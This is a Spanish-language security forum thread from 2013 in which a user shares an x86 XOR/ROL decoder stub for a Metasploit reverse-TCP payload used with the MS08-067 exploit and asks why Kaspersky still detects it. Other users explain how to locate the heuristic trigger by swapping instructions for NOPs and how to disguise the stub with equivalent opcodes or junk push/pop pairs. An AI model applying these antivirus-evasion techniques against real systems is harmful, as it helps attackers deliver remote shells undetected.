elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Deteccion de Shellcode
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Deteccion de Shellcode  (Leído 3,692 veces)
xv0


Desconectado Desconectado

Mensajes: 1.026



Ver Perfil
Deteccion de Shellcode
« en: 16 Octubre 2013, 22:31 pm »

Hola

Bueno lo primero, si el tema no esta en su lugar correcto lo siento, creo que esta mejor aqui porque creo que es un problema de polimorfismo.

Bien estoy practicando los polimorfismo con las shellcodes, estoy haciendo las pruebas en un windows y con metasploit, windows tiene como sistema de seguridad "IDS" Kaspersky internet Security 14, y estoy explotando el tipico 08_067_netapi, bien tengo el siguiente encode.

Código
  1. _start:
  2.  
  3. xorl %ebx, %ebx
  4. movw $0x13a, %bx
  5. jmp _C.0
  6.  
  7.  
  8. _C.1:
  9.  
  10. popl %edx
  11.  
  12. _C.2:
  13.  
  14. xorb $0xff, (%edx, %ebx)
  15. rolb (%edx)
  16. decw %bx
  17. jnz _C.2
  18. jmp *%edx
  19.  
  20. _C.0:
  21.  
  22. call _C.1

Si, se puede mejorar sobre todo lo de bx, pero solo me preocupa la deteccion, entro en los sources de metasploit y modifico el payload windows/shell/reverse_tcp con el encode y los valores de Offsets.

Bien cuando tengo el AV desactivado todo bien, pero cuanto esta activado salta, esta es la deteccion.

Código:
PDM: Exploit.Win32.Generic

Apllication path: c:\windows\system32\svchost.exe

Hay por la red shellcodes anti-ids con polimorfismos mas simples, y la mia salta.

Pero cuando lanzo el ataque con metasploit marca lo siguientet, aplical su encode cosa que no le dije:

Código:
[*] Encoded stage with x86/shikata_ga_n
[*]Sending encoded stage (267 bytes) to 192.168.1.129

Que es problema de metasploit o de mi encode?

Un saludo.

P.D: No quiero hacer nada por hay, simplemente son pruebas, igualmente no me gusta mucho metasploit hace todo el trabajo.
« Última modificación: 16 Octubre 2013, 22:33 pm por cpu2 » En línea

Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: Deteccion de Shellcode
« Respuesta #1 en: 17 Octubre 2013, 12:15 pm »

Nunca he jugado con IDS pero imagino por el tag que se trata de una detección heurística.

Ves nopeando instrucciones o grupos de instrucciones y mira a ver cuando deja de saltar...
En línea

xv0


Desconectado Desconectado

Mensajes: 1.026



Ver Perfil
Re: Deteccion de Shellcode
« Respuesta #2 en: 17 Octubre 2013, 14:55 pm »

Bien que te refieres a algo como esto.

Código
  1. _start:
  2.  
  3. nop
  4. nop
  5. xorl %ebx, %ebx
  6. movw $0x13a, %bx
  7. jmp _C.0
  8.  
  9.  
  10. _C.1:
  11.  
  12. popl %edx
  13.  
  14. _C.2:
  15.  
  16. nop
  17. nop
  18. xorb $0xff, (%edx, %ebx)
  19. rolb (%edx)
  20. decw %bx
  21. jnz _C.2
  22. jmp *%edx
  23.  
  24. _C.0:
  25.  
  26. call _C.1

Pero no detectara los nops como una amenaza?

Estoy leyendo un documento llamado x-raying. Tambien podria hacer que el encode en los xor el valor se cambiara, eso estaria mejor no?

Un saludo.
En línea

Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: Deteccion de Shellcode
« Respuesta #3 en: 17 Octubre 2013, 16:32 pm »

Nah, me refiero a que vayas reemplazando instrucciones por nops a ver si la detección heurística es culpa del bucle o de alguna instrucción específica o qué...
En línea

xv0


Desconectado Desconectado

Mensajes: 1.026



Ver Perfil
Re: Deteccion de Shellcode
« Respuesta #4 en: 18 Octubre 2013, 02:42 am »

Vale ahora lo entiendo, dios que espeso que estaba es lo que tiene trasnochar.

Un saludo.

P.D: Lo del AES esta dejado aparte de momento, no tengo tiempo, pero creo que seria posible con pshufb de SSSE3.

Edito:

Bueno substitui los saltos y el call por nops, los comprobe uno por uno como dijiste, el AV no salto, pero como era de esperar la shellcode no funciona, en windows salta un error que es este

Código:
Generic Host Process for Win32 Services

Es posible que sean los saltos? O es cuando esta se ejecuta correctamente en memoria que la detecta? porque en la transferencia no dijo nada el AV.

Es que de windows no controlo nada, espero que me puedas echar un cable.
« Última modificación: 18 Octubre 2013, 04:49 am por cpu2 » En línea

Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: Deteccion de Shellcode
« Respuesta #5 en: 18 Octubre 2013, 11:37 am »

Bueno, la idea es que encuentres una instrucción que al reemplazarla por nop deje la shellcode indectable. Entonces buscas la forma de hacer la misma acción que la instrucción reemplaza con otros opcodes...
En línea

xv0


Desconectado Desconectado

Mensajes: 1.026



Ver Perfil
Re: Deteccion de Shellcode
« Respuesta #6 en: 19 Octubre 2013, 02:37 am »

Alguna sugerencia de como hacerlo? Utilizo el jump y el call para obtener el offset del principio de la shellcode, la mia y casi todas tienen un bucle parecio, por eso estoy un poco frustrado de que no funcione.

Con x64 tendria una idea pero esta es para x86, es x64 cuando haces una syscall esta te devuelve el offset en rcx de la siguiente instruccion, y al principio del programa rcx tiene el offset de inicio de .text, o al menos en OBSD, no seria necesario tomar la direccion porque ya la tengo en rcx.

Y no creo que sea el cifrado, porque como e dicho los hay mas simples y estan catalogados de anti-ids. Bueno lo pondre mejor y si continua saltando es que son los jumps y el call.

Un saludo.

En línea

MCKSys Argentina
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.471


Diviértete crackeando, que para eso estamos!


Ver Perfil
Re: Deteccion de Shellcode
« Respuesta #7 en: 19 Octubre 2013, 02:57 am »

Luego del call, podrias colocar un push r32 - pop r32 (o alguna combinacion parecida que rompa el stack), asi no empezarias directamente con un pop r32.

De igual forma con todo lo demas.

Es una idea...  :P

Saludos!
En línea

MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
.:. Shellcode 2 ASM .:. « 1 2 »
ASM
Garfield07 13 9,803 Último mensaje 3 Enero 2011, 20:31 pm
por Garfield07
[MSF] Modificar un shellcode
Análisis y Diseño de Malware
4v1dy4 8 6,491 Último mensaje 15 Enero 2023, 00:28 am
por 4v1dy4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines